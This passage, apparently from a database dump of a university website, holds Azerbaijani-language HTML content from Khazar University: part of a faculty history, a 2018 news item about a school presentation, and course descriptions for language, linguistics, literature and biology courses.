adlı təlim proqramını, məcburi qaçqın və\r\nköçkün düşərgələrində də həyata keçirməyə başladılar. Daha sonra universitetdə\r\nanaloqu olmayan “İqsadiyyat və Biznes Tətqiqatları və Təhsil Mərkəzi”\r\nyaradıldı. Bu mərkəz, Bakıda və respublika regionlarındakı müəllimlər və\r\nsahibkarlar üçün iqsadiyyat və bizneslə bağlı təlim proqramlarını özündə birləşdirdi.</p>\r\n<p style=\"font-size:medium\">2003-cü ildə İbtidai Təhsilin Metodikası\r\nixtisası üzrə bakalavr pilləsi üçün müsabiqə elan edildi. Universitet\r\nqurulandan bəri gənc nəsil müəllimlərə böyük köməklik göstərir və onların irəliləyişi\r\nüçün şərait yaradır.</p>\r\n<p style=\"font-size:medium\">Təhsil fakültəsi 2009-cu ildən Azərbaycan Dili\r\nvə ədəbiyyatı, Riyaziyyat və Kompüter, Kimya və Biologiya, Tarix və Coğrafiya\r\nixtisası üzrə bakalavr proqramları təklif edir.&nbsp;</p>'),(5337,3089,'az','23 saylı tam orta məktəbdə təqdimat keçirildi','2018-ci il aprelin 6-da Xəzər Universiteti aparıcı yerli orta məktəblərdən biri...','<p>2018-ci il aprelin 6-da Xəzər Universiteti aparıcı yerli orta məktəblərdən biri olan 23 saylı məktəbdə təqdimat keçirdi. Təqdimatın əsas məqsədi Xəzər Universiteti, onun təklif etdiyi ixtisas və proqramlar barədə məktəbin müəllimlərinə və şagirdlərinə məlumat vermək idi. Təqdimatda beş nəfərdən ibarət komanda iştirak edirdi: İqtisadiyyat və menecment fakültəsinin professoru Fuad Rəsulov, Karyera Mərkəzinin meneceri Səbinə Allahverənova, HR koordinatoru Ozal Məmmədli, Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova və hazırda Xəzər Universitetində beynəlxalq münasibətlər və diplomatiya üzrə bakalavr dərəcəsi alan Zimbabveli xarici tələbə Tendai Samantha Shereni.</p><p>Təqdimatı Turan Cəfərova keçirdi və Xəzər Universiteti haqqında ümumi məlumat verdi. Professor Fuad Rəsulov orta məktəb şagirdlərinin nəyə görə Xəzər Universitetinin bakalavr səviyyəsində təhsilini davam etdirmələrinin səbəbləri barədə danışdı. Turan Cəfərova universitetin beynəlxalq strategiyası, universitetin iştirak etdiyi tələbə mübadilə proqramları, ikili diplom proqramı və digər proqramlar barədə danışmaq üçün yenidən səhnəyə çıxdı. Zimbabveli xarici tələbə Tendai Samantha Shereni təhsillə bağlı öz təcrübəsini paylaşaraq, onlara nə üçün Azərbaycana gəlmək qərarına gəldiyini və niyə Xəzər Universitetini seçdiyi barədə danışdı, şagirdləri gələcək təhsillərini Xəzər Universitetində davam etdirməyə çağırdı.</p><p>Təqdimat sual-cavab hissəsi ilə başa çatdı. Xəzər Universitetinin təqdimat materialları ali məktəb tələbələri üçün təqdim edildi.</p>'),(517,337,'az','Fənlərin təsviri','Fənlərin təsviri','<p><strong><em>AZLL 101: Azərbaycan dili (Universitet\r\ntələbləri) (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit:\r\nYoxdur</strong></p>\r\n<p>Bu fənn\r\ntələbələri Azərbaycan dilində olan elmi mətnlərin və texniki materialların\r\ntəhlilinə hazırlayır. Müxtəlif elmi sahələrdən götürülmüş materiallar vasitəsi\r\nilə tələbələrin oxumaq, yazmaq, dərk etmək qabiliyyətləri öyrənilir.</p>\r\n<p>Mədəniyyət,\r\nətraf mühit, adət və ənənələr, tarix, iqtisadiyyat və s. mövzular əhatə olunur.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 102.&nbsp; Yazıya giriş (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 101.</strong></p>\r\n<p>Yazı\r\nqaydası. Materialların yazılması, yenidən baxılması, redaktə olunmasının\r\nplanlaşdırılması və təşkili.&nbsp; Mətnlərin xülasəsi, təhlili və sintezi. Esse\r\nvə yaradıcı yazı. Akademik və işgüzar yazışma.&nbsp; Nəsr üsulu.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 103: Əcnəbilər üçün Azərbaycan dili (6\r\nkredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nYoxdur</strong></p>\r\n<p>Əsasən,\r\noxu, yazma, dinləmə və danışıq kimi bacarıqların inkişafına diqqət verilir. Bu\r\nbacarıqları aşılamaq üçün salamlaşma, tanış olma, təbrik və minnətdarlıq,\r\nbəyənmə, müraciətlər, tələblər, üzr istəmək, başsağlığı və s. mövzular tədris\r\nolunur.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 104: Azərbaycan dili-2 (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 101</strong></p>\r\n<p>Bu kurs\r\nAzərbaycan dilində aşağıdakı sahələri əhatə edir. Semantik quruluş, onun\r\nmənasının daralması və genişlənməsi, Azərbaycan dilində semantik qruplar.\r\nQrammatika, onun əsas bölmələri və onlar arasında əlaqə, qrammatik\r\nkateqoriyalar. Sintaksis, söz birləşməsi və cümlə növləri,&nbsp; mətn dilçiliyi\r\nvə onun problemləri, şeir sintaksisi, durğu işarələri və onların funksiyaları.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 105:</em></strong><em> <strong>Azərbaycan\r\nədəbiyyatı (Universitet tələbləri) (6 kredit)</strong></em></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 101</strong></p>\r\n<p>Bu fənn\r\nAzərbaycan ədəbiyyatının qədimdən müasir dövrədək bütün tarixi dövrlərini əhatə\r\nedir. Görkəmli Azərbaycan şair və yazıçılarının həyat və yaradıcılığı, habelə\r\nonların konkret bədii əsərləri araşdırılır. Bu fənn həmçinin, ədəbiyyat tarixi\r\nvə nəzəriyyəsini, ədəbi tənqidin&nbsp; əsas məqsəd və vəzifələrini və s. qısa\r\nolaraq əhatə edir. Bu kursun əsasını Azərbaycan ədəbiyyatının görkəmli\r\nxadimlərinin seçilmiş əsərlərinin öyrənilməsi və müzakirəsi təşkil edir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 106: Müasir Azərbaycan dili 1 (6\r\nkredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nYoxdur</strong></p>\r\n<p>Bu kurs\r\nsəs sistemi, fonetik fenomen və Azərbaycan ədəbi dilinin qaydalarını əhatə\r\nedir. Tələffüz normaları, yazının formalaşması və növü, əlifbanın\r\nxüsusiyyətləri, lüğət strukturu və onun zənginliyi, xüsusiyyətləri və inkişaf\r\nyolları izah olunur. Azərbaycan dilinin orfoqrafiyası &nbsp;barədə məlumat\r\nverilir. Sözlərin xarakterik mənası, xüsusi adların növləri, mənşəyi və\r\nAzərbaycan ədəbi dilində istifadəsi işıqlandırılır. Həmçinin lüğət və onun\r\nmüxtəlif növləri, lüğət tərtibi və ədəbi dildə sözdüzəltmə yolları haqqında da məlumat\r\nverilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 107-307: Azərbaycan ədəbiyyatı tarixi\r\n1-5</em></strong><em></em></p>\r\n<p>Bu fənn&nbsp;Azərbaycan\r\nədəbiyyatının yaranması və təkamülünü erkən folklordan başlayaraq indiyə qədər\r\nxronoloji qaydada və inkişaf mərhələləri ilə birgə öyrənir. Müxtəlif dövrlərdə\r\nyaşamış yazıçı və şairlərin həyat və yaradıcılığı öyrədilir, onların ədəbi\r\nfəaliyyəti tədqiq edilir, onların toxunduqları milli və ümumbəşəri\r\nməsələlər&nbsp;təhlil edilir, digər yazıçı və şairlərin bir-birinə ədəbi təsiri\r\nmüəyyən edilir və onların yaradıcılıq fəaliyyəti yaşadıqları tarixi dövrə uyğun\r\nsistemləşdirilir. Bu kurs 5 hissəyə bölünür. Hər bir hissə 1 semester davam\r\nedir&nbsp;və hər hissə 3 kreditdən ibarətdir. Həmin hissələr aşağıdakılardır.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 107: Azərbaycan ədəbiyyatı tarixi 1:</em></strong><em></em></p>\r\n<p><strong>Azərbaycan\r\nfolkloru</strong></p>\r\n<p><strong>Prerekvizit:\r\nYoxdur</strong></p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 109: Azərbaycan ədəbiyyatı tarixi 2:</em></strong><em></em></p>\r\n<p><strong>Qədim\r\nvə Orta əsrlər ədəbiyyatı tarixi</strong></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 107</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>AZLL 207: Azərbaycan ədəbiyyatı tarixi 3:</em></strong><em></em></p>\r\n<p><strong>17-ci\r\nəsrdən 19-cu əsrin ortalarınadək Azərbaycan ədəbiyyatı</strong></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 109.</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>AZLL 208 Azərbaycan ədəbiyyatı tarixi 4:</em></strong><em></em></p>\r\n<p><strong>19-cu\r\nəsrin ortalarından 20-ci əsrin əvvəllərinədək Azərbaycan ədəbiyyatı</strong></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 207</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>AZLL 307: Azərbaycan ədəbiyyatı tarixi 5:</em></strong><em></em></p>\r\n<p><strong>20-ci\r\nəsr Azərbaycan ədəbiyyatı </strong></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 208</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>AZLL 108: Müasir Azərbaycan dili 2 –\r\nMorfologiya (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 106</strong></p>\r\n<p>Morfologiya\r\nilə bağlı bütün mühüm praktiki məsələlər bu fəndə əhatə olunur.</p>\r\n<p>Bu\r\nkurikulum müasir Azərbaycan dilinin qrammatik sistemini, özünəməxsusluğunu və\r\ndigər xüsusiyyətlərini təhlil edir. Sözlər onların mənası, forması, funksiyası\r\nvə dəyişilmə qaydalarına görə qruplaşdırılır.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>AZLL 205: Azərbaycan ədəbiyyatı-2 (6\r\nkredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 105</strong></p>\r\n<p>Bu\r\nfənnin məqsədi Müasir Azərbaycan ədəbiyyatı üzrə geniş bilik verməkdir. Bu fənn\r\nson dövrlər Azərbaycan ədəbiyyatını, jurnalistika janrlarının inkişafını,\r\nədəbiyyatda yeni forma və məzmunu araşdırır. Bu fənnin tədrisinə həmçinin\r\nmüasir ədəbi əsərlərin oxudulması və təhlili daxildir.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>AZLL 206: Müasir Azərbaycan dili 3 -\r\nSintaksis (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 108</strong></p>\r\n<p>Bu\r\nfənndə söz birləşmələri, sintaktik əlaqələr, cümlələr və onların struktur\r\nnövləri, durğu işarələri və onların düzgün istifadəsi tədris edilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 306 Azərbaycan ədəbi dili tarixi (6\r\nkredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 206</strong></p>\r\n<p>&nbsp;Bu\r\nfənn başlıca olaraq Azərbaycan dili tarixinin mənbələrini və onun mənşəyini,\r\nədəbi dilin inkişafını və bu inkişaf dövründən indiyədək qalan problemləri,\r\nmüxtəlif dövrlərdə tarixi və mədəni şəraiti araşdırır. Azərbaycan ədəbi dilinin\r\ninkişaf tarixi ilə bağlı görkəmli şəxsiyyətlərin rolu xronoloji ardıcıllıqla\r\nverilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 416: Ədəbiyyat nəzəriyyəsi (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nmüəllimin razılığı </strong></p>\r\n<p>Bir elm\r\nsahəsi kimi ədəbiyyatşünaslığın əsasları üç hissədən ibarətdir: Ədəbiyyat\r\nnəzəriyyəsi, ədəbiyyat tarixi və ədəbi tənqid . Bu dərs əsasən ədəbiyyat\r\nnəzəriyyəsi məsələlərini əhatə edir. Real həyat hadisələrini əks etdirən ədəbi\r\nəsərlərin xüsusiyyətləri, eləcə də ədəbi əsərlərin sosial əhəmiyyəti və rolu\r\ntədqiq edilir. Bu fənn həmçinin ədəbi yaradıcılıq prinsipləri, inkişaf qanunları,\r\nməzmun və forma vəhdəti, müxtəlif növləri və janrları, ədəbi əsərlərin\r\nstrukturları, üslub və metodları və s kimi mövzuları əhatə edir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 417: Şərq dillərinin Azərbaycan\r\nƏdəbiyyatına təsiri (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nmüəllimin razılığı</strong></p>\r\n<p>Məlumdur\r\nki, Azərbaycan ədəbiyyatının müəyyən hissəsi ərəb və fars dillərində\r\nyaradılmış, ədəbiyyatımızın üzün bir dövrü ərəb-fars dilinin təsiri altında\r\nformalaşmışdır. Bu kursun əsas məqsədi ədəbi əsərlərin və ədəbiyyatın\r\nformalaşmasına ərəb və fars dillərinin mərhələlər üzrə təsirini öyrənməkdir.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>AZLL 512: Azərbaycan dialektologiyası (6\r\nkredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nmüəllimin razılığı</strong></p>\r\n<p>Dialekt\r\nvə şivələr dilçiliyin bu bölməsində öyrənilir. Dialekt və şivələrin fonetik,\r\nleksik, morfoloji və sintaktik xüsusiyyətləri izah olunur. Coğrafi ərazi\r\nprinsipləri əsasında Azərbaycanın dialekt və şivələrinin geniş təsnifatı\r\nverilir, həmçinin dialektologiyanın nəzəri məsələləri də araşdırılır.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 513: Onomastika (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nmüəllimin razılığı</strong></p>\r\n<p>Dildə\r\nxüsusi adların növləri, onların mənşəyi və istifadəsi öyrənilir. Onomastik\r\nvahidlərin elmi təsnifatı və təsviri barədə məlumat verilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 514: Mətnşünaslıq (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nmüəllimin razılığı</strong></p>\r\n<p>Bir elm\r\nkimi mətnşünaslığın tarixi köklərinin və inkişaf yollarının kompleks tədqiqi,\r\nhəmçinin müasir mətnşünaslıq, onun metod və prinsipləri öyrənilir. Bu kursda\r\nhəmçinin Azərbaycan mətnşünaslığının yaranması və inkişafı, orta əsrlərə aid\r\nAzərbaycanın əlyazma kitabları, əlyazma mətnlərinin elmi təhlili, mətnlərin\r\nmənşəyinin tədqiqi,&nbsp; mətnin müəllifinin müəyyən edilməsi, mətn\r\ntərcümələrinin tədqiqi, mətnlərin nəşrlər üçün hazırlanması, əsərlərin\r\nelmi-tənqidi mətnlərinin hazırlanmsı və s. kimi məsələlər əhatə olunur.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 515 Azərbaycan dilinin tarixi\r\nqrammatikası (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nmüəllimin razılığı</strong></p>\r\n<p>Tarixi\r\nqrammatika, nitq hissələrinin inkişaf prosesləri haqqında ümumi məlumat verir,\r\nKursda Azərbaycan dilinin fonetika və morfologiya tarixi araşdırılır, dilin\r\nmənşəyi və onun morfoloji xüsusiyyətlərinin tarixi inkişafı təhlil edilir,\r\nmüasir dilin yaranması izah olunur.</p>\r\n<p>&nbsp;­&nbsp;&nbsp;\r\n­&nbsp;</p>\r\n<p><strong><em><strong><em>LING</em></strong>   215: Dilçiliyə giriş (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nmüəllimin razılığı</strong></p>\r\n<p>Dillərin\r\nvə dil ailələrinin tarixi keçmişi, formalaşması,&nbsp;ümumi xüsusiyyətləri və\r\nmüxtəlifliyini öyrənir. Linqvistik təhlilin, o cümlədən regional və sosial\r\ndialektlərin qiymətləndirilməsi və dəyişməsinin metodlarına və üsullarına əsas\r\ndiqqət verilir. Tarixi və nəzəri cəhətdən dilçilikdə qiymətləndirilmə\r\nmodellərinin inkişafından da bəhs edilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em><strong><em>LING&nbsp;</em></strong>216: Dilçiliyin əsasları (6 kredit)</em></strong><em></em></p>\r\n<p><strong>&nbsp;Prerekvizit:\r\nmüəllimin razılığı</strong></p>\r\n<p>Dilçiliyin\r\ntədqiqinin ümumi problemlərini araşdırır, dilçiliyin yaranması və&nbsp;inkişafı,\r\ndünya dilləri və onların təsnifatları, dil və yazı arasında əlaqələri, yazının\r\nmənşəyi, onun xüsusiyyətləri və inkişaf dövrlərini əhatə edir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>LING 310: Fonologiya (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nLING 216</strong></p>\r\n<p>Danışıq\r\nsəsləri və fonetik hadisələr (tonun hündürlüyü, uzunluğu və gücü), sözlərin\r\nməna fərqləndirici ünsürü (fonem), morfemlər və dilinin fonem sistemi və\r\nonların funksional xüsusiyyətlərindən bəhs edir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>LING 420:&nbsp;Dünya dilləri (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nLING 215</strong></p>\r\n<p>Kursda\r\ndünyadakı dil ailələri, dillərin genetik və tipoloji təsnifi, dillər arasında\r\ntarixi münasibətlər araşdırılır.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>LING 421: Sosiolinqvistika (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nLING 215</strong></p>\r\n<p>Kursda\r\ndillərin müxtəlifliyinin, dildə baş verən dəyişikliyin sosial amilləri,\r\nlinqvistik davranış və sosial nəzarət məsələləri araşdırılır, dilçiliyin\r\ntədqiqat metodları öyrənilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>LİNG 422: Linqvistik təhlil (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nLING 215</strong></p>\r\n<p>Müxtəlif\r\ndillərin fonoloji, morfoloji və sintaktik məlumatların təhlil üsullarını,\r\naşkara çıxarılan, təsdiq edilən və əsaslandırılan ümumiləşdirmələri, müxtəlif\r\ndillərin müqayisəsini öyrədir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>Ling 423: Dilçilik tarixi (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nLING 215</strong></p>\r\n<p>Bu\r\nkursda dilçilik elminin tarixi, dilin mənşəyi və inkişafının tarixi öyrədilir,\r\ndilin inkişafına dair&nbsp;müxtəlif nəzəriyyələrdən bəhs edilir.</p>\r\n<p>&nbsp; ­</p>\r\n<p><strong><em>LIT 201:&nbsp; Dünya Uşaq ədəbiyyatı (6\r\nkredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 105</strong></p>\r\n<p>Kursda\r\nDünya Uşaq ədəbiyyatının görkəmli yaradıcıları, onların əsərləri barədə məlumat\r\nverilir, təhlillər aparılır, uşaq ədəbiyyatının tədrisi üçün&nbsp;bilik və\r\nbacarıqlarla təmin edir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>LIT 305-405: Dünya ədəbiyyatı 1-3(6 kredit)</em></strong><em></em></p>\r\n<p>Bu fənn\r\nqədim zamanlardan başlayaraq dünyanın müxtəlif ölkələrində yaradılmış ədəbiyyat\r\nnümunələrinin öyrənilməsini əhatə edir. Dünya ədəbiyyatının aparıcı\r\nxadimlərinin həyat və fəaliyyəti&nbsp;və ən məşhur ədəbi əsərləri xronoloji\r\nqaydada öyrənilir. Fənn üç bölmədən ibarətdir. Hər bir bölmə 1 semester davam\r\nedir və 3 kreditdən ibarətdir:</p>\r\n<p><strong><em><br></em></strong></p><p><strong><em>LIT 305: Dünya ədəbiyyatı 1: Qədim və Orta\r\nəsrlər Şərq ədəbiyyatı; Antik ədəbiyyatı tarixi</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nmüəllimin razılığı</strong></p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>LIT 308: Dünya ədəbiyyatı 2: 13-18-ci\r\nəsrlərdə Avropa ədəbiyyatı </em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nLIT 305</strong></p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>LIT 405 Dünya Edebiyatı 3:&nbsp; 19-20-ci\r\nəsrlərdə Avropa, Amerika və Rus ədəbiyyatı</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nLIT 308</strong></p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>LIT 505: Müasir ədəbi proses (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nmüəllimin razılığı</strong></p>\r\n<p>Bu\r\nfənnin əsas məqsədi son illərin ədəbi əsərlərinin təhlili əsasında. ədəbiyyatın\r\ninkişaf tendensiyalarını anlatmaqdır. Bu kurs ənənə və müasirlik, yaşlı və yeni\r\nədəbi qüvvələr arasında&nbsp; ədəbi&nbsp; münasibətlər,&nbsp; janrlar üzrə\r\nkonkret nümunələrin təhlili ilə müasir ədəbi prosesin mövzu, məzmun, üslub,\r\njanr və sənətkarlıq xüsuyiyyətləri kimi məsələləri əhatə edir. Həmçinin dünya\r\nədəbiyyatının Azərbaycan ədəbiyyatına təsiri, Azərbaycan ədəbiyyatının dünya\r\nədəbiyyatına inteqrasiyası məsələləri də kursun həcminə daxildir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>LIT 507: Ədəbi tənqid (tarixi və\r\nnəzəriyyəsi) (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nmüəllimin razılığı</strong></p>\r\n<p>Kursda\r\nədəbi tənqidin rolu, əhəmiyyəti, tarixi, nəzəri qaydaları öyrədilir. Bu fənn\r\nestetikanın tələbləri əsasında ədəbiyyatın əhəmiyyətini öyrənir, sosial həyat\r\nvə ədəbiyyat arasında harmoniyanı qiymətləndirir və ədəbi əsərləri cəmiyyətin\r\nmaraqları və tələbləri baxımından təhlil edir. Ədəbi tənqid ədəbi əsərlərin\r\nkeyfiyyətinin artırılmasına və ədəbiyyatı qiymətləndirməyə, həmçinin oxucuların\r\nədəbi əsərləri düzgün anlamasına və bədii zövqlərinin formalşmasına yardımçı\r\nolur.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>BIO 101 Ümumi biologiya (6 kredit)</em></strong><em></em></p>\r\n<p>Bu kurs\r\nəsas bioloji fənlərdən biridir, məqsədi tələbələrdə canlı sistemlərin\r\nxassələri, həyatın tarixi inkişafı, planetar proseslərdə canlıların rolu,\r\nbioloji elmlərin müasir istiqamətləri, problemləri, perspektivləri haqqında\r\nbitkin təsəvvür yaratmaq, xüsusi ixtisas fənlərinin öyrənilməsi üçün əsas\r\nformalaşdırmaqdır. Kurs çərçivəsində sitologiya, genetika, seleksiya, təkamül\r\nnəzəriyyəsi, fərdi inkişafın biologiyası, ekologiya bölmələrini əhatə edən\r\nməsələlər öyrənilir. Tələbələr orqanizmlərin quruluşu, həyat fəaliyyəti, müxtəlifliyi,\r\ncanlı sistemlərin əsas xassələri, quruluş səviyyələri, müxtəlif tipli\r\nhüceyrələrin quruluş xüsusiyyətləri, biologiyanın əsas müasir konsepsiyaları\r\nilə tanış olurlar. Ümumi biologiyanın tədrisi mühazirə və seminar məşğələlər\r\nşəklində aparılır.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em><strong><em>BIO</em></strong>   203 Sitologiya, histologiya və\r\nembriologiya (6 kredit)</em></strong><em></em></p>\r\n<p>Bu kurs\r\n3 uyğun fənni əhatə edir. Bunlardan birincisi hüceyrələrin quruluş və\r\nfunksiyaları haqqında olan sitologiyadır. Bu fənn plazmalemma, sitoskelet\r\nelementləri, hüceyrənin orqanel və əlavələri, nüvə, hüceyrənin həyat tsiklinə\r\naid olan məlumatları özündə cəmləşdirir. Histologiya insan orqanizminin\r\nmikroskopik quruluşunu öyrənir; orqanizmi təşkil edən 4 əsas toxumanın quruluş\r\nvə funksiyaları haqqında elmdir. Bu kursda əsasən epitel, birləşdirici, əzələ\r\nvə sinir toxumalarının ümumi histologiyası tədris olunur. Embriologiya\r\norqanizmin inkişaf qanunauyğunluqları haqqında elmdir. Cinsi hüceyrələrin\r\nquruluşu və mayalanmadan başlayaraq insan doğulana qədər baş verən bütün\r\nmərhələləri, o cümlədən progenez, histogenez, organogenez və sistemogenez\r\nproseslərini əhatə edir. Bu kursda əsasən cinsi hüceyrələr, mayalanma, rüşeym\r\nvərəqələrinin və rüşeymxarici orqanların inkişafı, onların differensiasiyası\r\ntədris olunur. Sitologiya, histologiya və embriologiyanın tədrisi mühazirə və\r\nlaborator praktik məşğələlər şəklində aparılır.</p>\r\n<p><strong><em><strong><em>BIO</em></strong>   217 Ümumi bitki biologiyası (6 kredit)</em></strong><em></em></p>\r\n<p>Bu kurs\r\nBioloji elmlər departamentinin əsas tələbləri üçün tərtib olunmuş mühazirə və\r\nlaborator dərsləri əhatə edir. Kurs ərzində bitki anatomiyası və morfologiyası,\r\nfiziologiyası, metabolizm, reproduksiya və ekologiya haqqında məlumatlar\r\ntələbələrin nəzərinə çatdırılır. Həmçinin, hüceyrə və toxumaların növləri,\r\nbirincili və ikincili toxumaların inkişafı, bitkilərin vegetativ orqanlarının,\r\nxüsusilə angiospermlərin quruluşu tədris olunur. Kurs ali bitkilərin biokimyəvi\r\nvə molekulyar aspektlərini də əhatə edən bitki fiziologiyası haqqında\r\nməlumatlarla davam etdirilir. Bitki metabolizminin unikal tənzim\r\nmexanizmlərinə, o cümlədən fotosintez, tənəffüs, böyümə və stressə qarşı cavab\r\nreaksiyalarına xüsusi yer ayrılır.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em><strong><em>BIO</em></strong>   222 Sistematik zoologiya (6 kredit)</em></strong><em></em></p>\r\n<p>Bu kurs\r\nonurğasız və onurğalı heyvanların, o cümlədən süngərilər, yastıqurdlar,\r\nnematodlar, molyuskalar, artropodlar, exinodermlər, kiçik protostoma və deyterostoma\r\nqrupları, onurğasız xordalılar, balıqlar, amfibilər, həşəratlar, quşlar və\r\nməməlilər haqqında məlumatları əhatə edir. Mühazirələr heyvanların müxtəlif\r\naspektlərini, o cümlədən onların təsnifatı və filogenezi, anatomik quruluşu və\r\nfunksiyaları, davranışı, biocoğrafiyası və ətraf mühitdəki rollarına həsr\r\nolunacaqdır. Laborator məşğələlərdə canlı və fiksə olunmuş hüyvan nümunələrinin\r\ntədqiqi və müayinəsi, bəzi hallarda onların disseksiyası həyata keçiriləcəkdir.\r\nTələblərin tədqiqat bacarıqlarının təkmilləşdirilməsi üçün həvəsləndirici\r\nlayihələr nəzərdə tutulmuşdur.</p>\r\n<p><em>&nbsp;</em></p>\r\n<p><strong><em><strong><em>BIO</em></strong>   312 İnsan anatomiyası (6 kredit)</em></strong><em></em></p>\r\n<p>Bu kurs\r\nnormal insan orqanizminin makroskopik quruluşunu ayrı-ayrı sistemlər üzrə\r\ntədrisini əhatə edir. Kursun gedişində müxtəlif əyani vəsaitlərin istifadəsi\r\nilə tələbələrə dayaq-hərəkət aparatı, əzələ sistemi, daxili orqanlar sistemi,\r\nendokrin sistem, immun müdafiə sistemi, sinir sistemi, duyğu orqanları, dəri\r\nörtüyü sistemi, ürək-damar sistemi və sidik-cinsiyyət aparatına daxil olan\r\norqanların anatomik quruluşu, onların topoqrafiyası, yaş xüsusiyyətləri, qan və\r\nsinir təchizi və s. haqqında məlumatlar verilir. İnsan anatomiyası kursunun\r\ntədrisi mühazirə və praktik məşğələlər şəklində həyata keçirilir.</p>\r\n<p><strong><em><strong><em>BIO</em></strong>   321 Sistematik botanika (6 kredit)</em></strong><em></em></p>\r\n<p>Bu kurs\r\nbitkilərin əsas və müasir sistematik prinsip və metodlarını, o cümlədən\r\ntəsnifatı, identifikasiya bacarıqları, filogenezi və təhlini əhatə edir.\r\nDərslər mühazirə və laborator məşğələlər formasına aparılır. Kurs bitki\r\nmorfologiyası, xüsusən eukariotik dəniz yosunlarıının, göbələklərin,\r\nbriofitlərin və vaskulyar bitkilərin quruluşunun tədrisi ilə davam etdirilir.\r\nBitkilərin morfologiyası və həyat tsikli müqayisəli şəkildə çatdırılır. Bitki\r\ntaksonomiyasının və tiplərinin nəzəri əsasları öyrədilir. Kursu müvəffəqiyyətlə\r\nbaşa vurmuş tələbələr aşağıdakıları bilməlidirlər: botaniki terminlərdən\r\nistifadə etməklə bitkiləri təsvir etməyi, ayıdöşəyi, iynəyarpaqlı ağaclar və\r\ndigər çiçək açan vacib bitki ailələrinin identifikasiyası üçün açar\r\nxüsusiyyətləri öyrənməli, iri və ümumi çiçək açan bitki ailələrini\r\ntanımalıdırlar.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em><strong><em>BIO</em></strong>   365 İnsan və heyvan fiziologiyası (6\r\nkredit)</em></strong><em></em></p>\r\n<p>Kurs\r\nərzində insan və məməli heyvanların əsas funksiyaları haqqında məlumatlar\r\ntədris olunacaqdır. Mövzular sinir, endokrin, tənəffüs, ürək-damar, metabolik,\r\nəzələ və ifrazat sistemlərini əhatə edir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em><strong><em>BIO</em></strong>   403 Molekulyar biologiya (6 